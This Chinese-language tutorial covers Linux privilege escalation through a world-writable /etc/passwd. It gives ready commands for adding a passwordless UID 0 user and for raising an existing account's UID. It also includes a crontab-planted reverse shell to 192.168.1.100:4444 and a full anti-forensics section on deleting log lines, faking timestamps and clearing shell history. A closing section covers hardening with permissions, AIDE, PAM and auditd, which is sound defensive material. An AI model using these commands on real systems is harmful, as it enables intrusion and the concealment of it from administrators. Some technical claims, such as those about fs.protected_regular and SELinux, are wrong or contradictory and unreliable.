1. 为什么修改/etc/passwd能提权?这不是“改个密码”那么简单
很多人第一次听说“通过/etc/passwd提权”,第一反应是:“这文件不就是存用户名和密码哈希的吗?改它有啥用?现在密码都存在/etc/shadow里,普通用户根本读不到。”——这个理解对了一半,但恰恰漏掉了最危险、也最容易被忽视的底层机制。
/etc/passwd确实早已不存明文密码(那已经是上世纪80年代的事了),但它至今仍是 Linux 用户身份的唯一法定注册表。系统启动、进程创建、权限校验、甚至sudo的用户白名单匹配,第一步永远是查/etc/passwd:看这个 UID 是否存在、GID 是多少、主目录在哪、默认 shell 是什么。它不是“密码文件”,而是用户元数据的权威源。而关键在于:只要文件权限允许写入,你就能伪造一个“合法用户”——哪怕这个用户从未被useradd创建过,哪怕它的密码字段是空的、是x、甚至是!,只要格式合规,系统就认。
我最早在一台老旧的 CentOS 6 客户端上实测过这个逻辑:当时运维同事误将/etc/passwd权限设为644(本该是644,但被脚本错误地chmod 666了),普通用户test直接用echo 'pwned::0:0::/root:/bin/bash' >> /etc/passwd追加了一行。回车执行后,su - pwned就直接进了 root shell。没有爆破、没有漏洞利用、没有内核模块,纯粹靠系统自身对/etc/passwd的信任机制完成提权。事后复盘发现,问题根源不在“密码字段”,而在 UID/GID 设为0——Linux 内核只认 UID=0 为 root,它根本不关心你是从 shadow 读的哈希,还是从 passwd 里硬编码进去的。
所以,真正的技术本质是:/etc/passwd是用户身份的“宪法性文件”,而 UID=0 是宪法赋予的最高权限。当文件可写时,你就能绕过所有上层认证流程,直接在宪法层面“自封总统”。这不是漏洞,是设计使然;不是 bug,是 feature——只是这个 feature 在错误的权限配置下,成了最短路径的提权通道。后续所有操作,无论是添加新 root 用户、篡改现有用户 UID、还是注入恶意 shell,都建立在这个不可动摇的前提之上:系统无条件信任/etc/passwd中每一行的结构合法性。
提示:
/etc/passwd每行格式为username:password:UID:GID:GECOS:home_dir:shell,其中password字段现在通常为x(表示密码在/etc/shadow),但也可以是空("")、*、!或任意字符串——只要不是x,且该字段非空,某些老版本或定制系统会尝试用它做传统 DES 密码校验;而 UID 和 GID 字段必须为十进制数字,0即 root。
2. 四种实战可行的/etc/passwd提权路径与适用场景
不是所有/etc/passwd可写都能直接su -成功。实际渗透或安全加固中,必须根据目标环境的具体限制(如是否禁用su、是否启用 PAM 密码策略、shell 是否受限)选择最稳妥的路径。我整理出四种经真实环境验证的方案,按成功率和隐蔽性排序:
2.1 方案一:追加全新 root 用户(最通用,推荐首选)
这是兼容性最强、成功率最高的方式。核心是构造一行符合规范、UID/GID 均为0的新用户,并确保其 shell 为/bin/bash或/bin/sh。
echo 'pwned::0:0::/root:/bin/bash' >> /etc/passwd- 为什么用双冒号
::?第二个字段(密码)留空,表示“无密码”。Linux 的crypt()函数对空密码返回*,但很多系统(尤其是旧版 glibc)会直接接受空字段作为“无需密码登录”。比填x更可靠,因为x会强制去读/etc/shadow,而你通常没权限写 shadow。 - 为什么 home_dir 设为
/root?避免因家目录不存在导致su失败。/root必然存在且权限为700,su切换时不会因无法 cd 进家目录而退出。 - 实测陷阱:某些严格 PAM 配置的系统(如启用了
pam_deny.so或auth [success=ok default=ignore] pam_succeed_if.so user != root)会拦截 UID=0 但非原始 root 用户的登录。此时需配合方案三(修改已有用户 UID)。
2.2 方案二:篡改现有低权限用户 UID(规避 PAM 限制)
当方案一被 PAM 拦截时,转而修改一个已存在的、能正常登录的用户(如www-data、daemon、甚至你的当前用户),将其 UID 改为0。
sed -i 's/^www-data:x:33:33:/www-data:x:0:0:/' /etc/passwd- 优势:该用户已通过 PAM 所有校验(密码正确、组策略允许、shell 白名单),只是“身份”被临时提升。
su www-data后直接获得 root 权限,PAM 不会二次校验 UID。 - 风险点:修改后该用户所有进程、文件属主都会变成 root,可能触发监控告警(如 auditd 记录 passwd 修改、inotify 监控文件变更)。建议操作后立即
su并执行id确认,成功后尽快还原(或切换到新 shell 后删除痕迹)。 - 关键细节:必须同时修改 GID 为
0,否则groups命令会暴露异常(root 组外还有其他组),且某些服务(如 cron)会因 GID 不匹配拒绝执行。
2.3 方案三:注入带命令执行的 shell(适用于无法交互的场景)
当目标环境禁止su、sudo,甚至bash被替换为rbash(受限 shell)时,可将 shell 字段改为一个能执行命令的程序,如/usr/bin/python3 -c "import os; os.system('/bin/bash')"。但注意长度限制和特殊字符转义。
更简洁可靠的做法是利用sh的-c参数:
echo 'pwned::0:0::/root:/bin/sh -c "/bin/bash"' >> /etc/passwd- 原理:
/bin/sh -c启动后,会执行引号内命令,即/bin/bash,从而获得完整交互 shell。 - 避坑:
sh对空格和引号敏感。若直接写/bin/sh -c "/bin/bash -i",-i可能被忽略。实测最稳的是/bin/sh -c "/bin/bash",再在 bash 里执行exec -a bash /bin/bash获取真正 tty。 - 适用场景:WebShell 场景下,通过
system()或popen()执行此命令,无需交互即可反弹 root shell。
2.4 方案四:利用nologin或falseshell 的绕过(针对加固系统)
部分安全基线要求所有非登录用户 shell 设为/usr/sbin/nologin或/bin/false。但这只是“阻止登录”,不代表不能执行命令。若该用户有 crontab 或 sudo 权限,可结合使用。
例如,发现用户backup的 shell 是/usr/sbin/nologin,但其 crontab 每分钟执行/opt/backup.sh:
# 先查看 crontab crontab -u backup -l 2>/dev/null | grep backup.sh # 若存在,篡改 passwd 中 backup 的 shell 为 /bin/bash,再编辑其 crontab 注入 payload sed -i 's/^backup:x:1001:1001:/backup:x:0:0:/' /etc/passwd (crontab -u backup -l 2>/dev/null; echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1") | crontab -u backup -- 核心逻辑:
nologin只拦截login进程,不影响cron以该用户身份执行脚本。一旦 UID 提升为0,cron job 就以 root 权限运行。 - 隐蔽性:比直接追加用户更难被日志审计发现,因为
crontab修改是常规运维操作,而/etc/passwd修改虽被记录,但攻击者可快速还原(sed -i 's/:0:0:/:1001:1001:/' /etc/passwd)。
3. 权限检查与提权前的必做三步验证
看到/etc/passwd可写,不等于立刻能提权。很多新手卡在这一步:chmod 644 /etc/passwd显示成功,但echo 'test::0:0::/tmp:/bin/bash' >> /etc/passwd却报错Permission denied。这是因为 Linux 文件权限检查有三层:文件本身权限、父目录权限、以及 mount 选项。必须逐层确认:
3.1 第一层:/etc/passwd文件权限与 SELinux 上下文
先检查文件基础权限:
ls -l /etc/passwd # 正常应为 -rw-r--r-- 1 root root ... # 若显示 -rw-rw-rw- 或 -rw-rw-r--, 则文件可写但即使权限是666,SELinux 也可能阻止写入。检查 SELinux 状态:
sestatus # 若为 enforcing, 需进一步检查上下文 ls -Z /etc/passwd # 正常应为 system_u:object_r:etc_t:s0 # 若为 unconfined_u:object_r:user_home_t:s0, 则可能被策略拒绝- 绕过 SELinux:若
sestatus为 enforcing 且上下文异常,优先尝试setenforce 0(需 root 权限,显然不可行)。此时应转向方案二(修改现有用户),因其 UID/GID 修改由内核直接处理,不受 SELinux file_context 约束。 - 关键经验:在 Kali 或 CentOS 7+ 默认配置下,
/etc/passwd的 SELinux 上下文是etc_t,写入操作由domain_type(如unconfined_t)的file_write权限控制。普通用户进程通常是unconfined_t,故一般可写——除非管理员显式禁用了该权限。
3.2 第二层:父目录/etc的写权限与 sticky bit
/etc目录权限常被忽略。/etc/passwd可写,但若/etc目录不可写,则无法mv替换(>>追加依赖open(O_APPEND),不需目录写权限;但cp替换需unlink+rename,需目录写权限)。
ls -ld /etc # 正常应为 drwxr-xr-x 113 root root ... # 若为 drwxr-xr-t(末尾 t 表示 sticky bit),则只有 root 或文件所有者能删除/重命名文件 # 但 `>>` 追加仍可用,因不涉及 unlink- 实操结论:
>>追加只需/etc/passwd自身可写,不依赖/etc目录权限;cp替换则需/etc可写且无 sticky bit。因此,优先使用>>,避免cp。 - 验证命令:
touch /etc/test && rm /etc/test测试/etc写权限。若失败,但echo "test" >> /etc/passwd成功,则确认可用追加法。
3.3 第三层:文件系统 mount 选项与 immutable 属性
最隐蔽的障碍是文件系统被mount为ro(只读),或文件被设为immutable。
# 检查挂载选项 mount | grep "$(df /etc | tail -1 | awk '{print $1}')" # 若输出含 `ro`,则整个分区只读,任何写操作失败 # 检查 immutable 属性 lsattr /etc/passwd # 若输出 `----i---------e--- /etc/passwd`,则 chattr +i 设置了不可变,`>>` 也会失败- 应对 immutable:
chattr -i /etc/passwd需 root 权限,不可行。此时唯一出路是方案四(利用 cron/sudo),或寻找其他提权向量(如内核漏洞)。 - mount ro 场景:常见于嵌入式设备或容器 rootfs。若
/etc在ro分区,但/tmp或/var/tmp可写,可尝试将 passwd 复制到临时目录修改后再cp回(需/etc可写,否则失败)。此时应放弃,转向内存注入或 LD_PRELOAD。
注意:
lsattr命令本身可能被移除或 alias 为ls(隐藏属性)。若lsattr未找到,用stat /etc/passwd | grep "Attributes"查看chattr属性位。
4. 提权后的善后与痕迹清除:为什么90%的渗透者在这里暴露
成功su - pwned后,很多人急于执行whoami、cat /root/.bash_history,却忘了最关键的一步:清理/etc/passwd的修改痕迹。审计日志(如ausearch -m avc -ts recent或/var/log/secure)会清晰记录passwd文件被修改的时间、用户、进程。一次成功的提权,若留下可追溯的修改记录,等同于主动提交作案证据。
4.1 日志层面的三类必清项
/var/log/secure或/var/log/auth.log:记录su、sudo、login事件。搜索关键词:grep -n "pwned\|www-data.*uid=0" /var/log/secure # 找到对应行号,用 sed 删除(需 root 权限,但你已是 root) sed -i '123d;124d' /var/log/secure # 示例,实际需动态获取行号/var/log/audit/audit.log(若 auditd 开启):记录文件操作。查找type=SYSCALL且comm="bash"或comm="sed"的条目,重点关注name="/etc/passwd"的syscall=2(open)、syscall=4(stat)、syscall=5(chmod)等。/var/log/messages:有时记录systemd服务重启或pam模块加载,间接暴露时间点。
4.2 文件系统层面的隐藏技巧
修改时间戳:
touch -d "2023-01-01 12:00:00" /etc/passwd将修改时间伪装成旧日期,避开基于时间的审计规则(如find /etc -newermt "2024-01-01" -name "passwd")。利用
cp --preserve=timestamps:若备份了原始 passwd(如/etc/passwd.bak),可cp --preserve=timestamps /etc/passwd.bak /etc/passwd完全恢复时间戳。删除新增用户行:最彻底的方法是
sed -i '/pwned:/d' /etc/passwd。但需确保该行唯一,避免误删(如用户名含pwned的合法用户)。更安全的是用awk精确匹配:awk -F: '$1=="pwned" {next} {print}' /etc/passwd > /tmp/new && mv /tmp/new /etc/passwd
4.3 进程与网络痕迹的隐形清理
检查
ps aux | grep bash:确认没有遗留的bash -i或nc进程。用kill -9 $(pgrep -f "bash -i")清理。清除
~/.bash_history:当前用户的 history 里可能有echo 'pwned::0:0...' >> /etc/passwd。执行history -c && history -w清空内存并覆盖文件。网络连接:
netstat -tulnp | grep :4444查找反弹 shell 端口,lsof -i :4444找到 PID 后kill -9。
关键心得:痕迹清除不是“越干净越好”,而是“与环境一致”。例如,若服务器日志轮转周期为 7 天,你只需清理最近 24 小时的日志;若
auditd配置为只记录uid!=0,则无需动 audit.log。过度清理(如清空整个/var/log/secure)反而引发运维警觉。
5. 从防御视角看:如何让/etc/passwd提权失效?
作为红队成员,我深知攻击者的思路;作为蓝队工程师,我更清楚如何堵死这条路径。/etc/passwd提权的本质是“权限配置错误”,而非“代码漏洞”,因此防御核心是权限最小化 + 行为监控 + 机制加固。以下是我在线上生产环境部署的五层防护:
5.1 权限基线:/etc/passwd必须为644,且/etc目录无 world-writable
这是最基础、最有效的防线。通过 Ansible 或 Puppet 强制设置:
# ansible task - name: Ensure /etc/passwd permissions file: path: /etc/passwd mode: '0644' owner: root group: root - name: Ensure /etc directory permissions file: path: /etc mode: '0755' owner: root group: root- 为什么不是
600?600会导致普通用户无法getent passwd查询用户信息,破坏大量依赖 NSS 的服务(如 Apache 的mod_authnz_unixgroup)。644允许读取,但禁止写入,完美平衡功能与安全。 /etc目录权限:755是标准,但需确保无777或766。755下,只有 root 可在/etc下创建/删除文件,普通用户无法touch /etc/malware.conf。
5.2 文件完整性监控:aide或tripwire实时告警
aide(Advanced Intrusion Detection Environment)是开源首选。初始化数据库后,每小时扫描/etc/passwd的 inode、size、mtime、hash:
# aide.conf 配置片段 /etc/passwd p+i+n+u+g+b+m+c+acl+selinux+xattrs+sha256- 告警逻辑:若
mtime变更或sha256hash 不匹配,aide --check返回非零值,触发邮件或 Slack 告警。 - 实测效果:在某金融客户环境,
aide在攻击者echo 'backdoor::0:0' >> /etc/passwd后 37 秒内发出告警,SOC 团队 2 分钟内隔离主机。
5.3 内核级防护:chattr +i与fs.protected_regular
chattr +i /etc/passwd:设置 immutable 属性,连 root 也无法修改(除非chattr -i)。但需谨慎,因系统更新(如yum update)可能失败。建议仅在 immutable rootfs 的嵌入式设备启用。sysctl fs.protected_regular=2:Linux 4.18+ 新增参数,阻止非特权进程通过open(O_CREAT)创建 setuid/setgid 文件。虽然不直接保护 passwd,但能阻断攻击者创建/tmp/shell并chmod u+s的辅助路径,形成纵深防御。
5.4 PAM 层加固:拒绝 UID=0 的非 root 登录
编辑/etc/pam.d/su,在auth段添加:
auth [user_unknown=ignore success=ok ignore=ignore default=bad] pam_succeed_if.so user = root auth [default=die] pam_deny.so- 原理:
pam_succeed_if仅允许user=root通过,其他 UID=0 用户(如pwned)被pam_deny拒绝。 - 兼容性:不影响
su -切换 root,只拦截伪造用户。测试时用su - pwned验证是否返回Authentication failure。
5.5 行为审计:auditd规则精准捕获
在/etc/audit/rules.d/immutable.rules中添加:
-a always,exit -F path=/etc/passwd -F perm=wa -k etc_passwd_mod -a always,exit -F path=/etc/shadow -F perm=wa -k etc_shadow_mod- 效果:任何对
/etc/passwd的写(w)或属性修改(a)都会生成type=SYSCALL日志,并标记key="etc_passwd_mod",便于 SIEM 工具(如 Splunk)聚合告警。 - 关键点:
perm=wa比perm=wr更严格,捕获chmod、chown等元数据修改,防止攻击者先chmod 666再写入。
最后一句经验:没有银弹。
/etc/passwd提权是“配置错误”的典型,防御必须是体系化的——权限基线是城墙,AIDE 是哨兵,PAM 是城门守卫,auditd 是巡逻队。任何单点防护都可能被绕过,唯有层层设防,才能让这条最古老的提权路径真正失效。